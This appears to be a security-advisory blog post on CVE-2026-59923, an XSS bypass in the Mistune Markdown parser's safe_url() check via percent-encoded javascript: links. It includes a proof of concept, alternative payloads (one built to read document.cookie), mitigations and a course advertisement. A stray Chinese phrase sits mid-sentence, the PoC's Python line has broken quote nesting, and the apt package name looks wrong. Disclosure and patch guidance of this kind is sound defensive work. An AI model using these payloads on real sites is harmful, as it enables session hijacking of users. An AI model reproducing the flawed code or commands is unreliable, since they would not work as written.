Listen to this Post
How CVE-2026-59923 Works
Mistune is a widely used Python Markdown parser with renderers and plugins. The vulnerability exists in the `HTMLRenderer.safe_url()` function, which is designed to block harmful URL schemes such as `javascript:` by checking the prefix of the provided URL.
The function performs a simple check:
_url = url.lower() if _url.startswith(self.HARMFUL_PROTOCOLS): return "harmful-link"
The critical flaw is that the input URL is not URL-decoded before this check. Because of this, an attacker can use percent-encoding to bypass the filter. For example, the payload `javascript%3Aalert(1)` contains %3A, which is the percent-encoded representation of the colon character (:).
Since `%3A` is not decoded to `:` during the安全检查, the `startswith()` check does not detect the `javascript:` scheme. The function sees the string as starting with `javascript%3A` rather than javascript:, so it fails to block it.
When the rendered HTML is opened in a browser, the browser automatically decodes `%3A` back to :, and the URL becomes javascript:alert(1). Upon user interaction (clicking the link), the browser executes the JavaScript code.
This effectively bypasses Mistune’s built-in `safe_url()` protection mechanism. The vulnerability affects Mistune versions prior to 3.3.0, with version 3.2.0 being explicitly vulnerable as demonstrated in the proof of concept.
The attack vector is network-based, requires no privileges, but does require user interaction (clicking the link). The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’).
DailyCVE Form:
| Field | Value |
|-|-|
| Platform | Mistune (Python) |
| Version | < 3.3.0 |
| Vulnerability | XSS (CWE-79) |
| Severity | Medium (CVSS 6.1) |
| Date | 2026-07-08 |
| Prediction | 2026-07-15 (patch available) |
What Undercode Say:
Analytics:
Check installed Mistune version pip show mistune | grep Version Vulnerable versions (< 3.3.0) pip install mistune==3.2.0 EXPLICITLY VULNERABLE List all installed packages with versions pip list --outdated | grep mistune
Vulnerability Statistics:
| Metric | Value |
|–|-|
| CVSS Base Score | 6.1 (Medium) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | Required |
| Scope | Changed |
| Confidentiality Impact | Low |
| Integrity Impact | Low |
| EPSS | 0.2% |
| Exploitation | PoC available |
| Automatable | No |
Exploit:
Proof of Concept:
Install vulnerable version pip install mistune==3.2.0
import mistune
markdown = mistune.create_markdown()
html = markdown("<a href="javascript%3Aalert(1)">j</a>")
print(html)
Output:
<a href="javascript%3Aalert(1)">j</a>
Execution:
1. Open the rendered HTML in a browser
2. Click the link
3. The browser decodes `%3A` to `:`
4. `javascript:alert(1)` executes
Alternative Payloads:
<!-- Image-based XSS --> <img src="javascript%3Aalert(document.cookie)" alt="xss" /> <!-- Multiple encoding layers --> javascript%253Aalert(1) <!-- may work if decoded multiple times -->
Protection:
1. Upgrade to patched version (RECOMMENDED):
pip install mistune>=3.3.0
The issue is fixed in version 3.3.0.
2. For applications unable to upgrade immediately:
- Implement additional URL validation before rendering user-supplied Markdown
- Block `javascript` URI schemes including percent-encoded variants
- Use a Web Application Firewall (WAF) to filter malicious payloads
3. Input sanitization workaround:
import urllib.parse
def safe_url(url):
decoded = urllib.parse.unquote(url)
if decoded.lower().startswith(('javascript:', 'data:', 'vbscript:')):
return "harmful-link"
return url
4. Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self'
5. Debian/Ubuntu users:
- Bookworm: version 2.0.4-1 is vulnerable
- Trixie: version 3.1.3-1 is vulnerable
- Sid: version 3.1.4-1 is vulnerable
- Check for updated packages via `apt update && apt upgrade mistune`
Impact:
- Cross-Site Scripting (XSS): An attacker can craft a malicious Markdown link that executes JavaScript in the victim’s browser when clicked
- Session Hijacking: Theft of session cookies, allowing attackers to impersonate victims
- Arbitrary JavaScript Execution: Execution of any JavaScript code in the victim’s browser context
- Account Takeover: Potential account compromise depending on the application’s security model
- Widespread Impact: Affects any application that renders user-controlled Markdown using Mistune without additional URL sanitization
- Deceptive Bypass: Developers who rely on `safe_url()` for protection may be unaware that their applications remain vulnerable
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

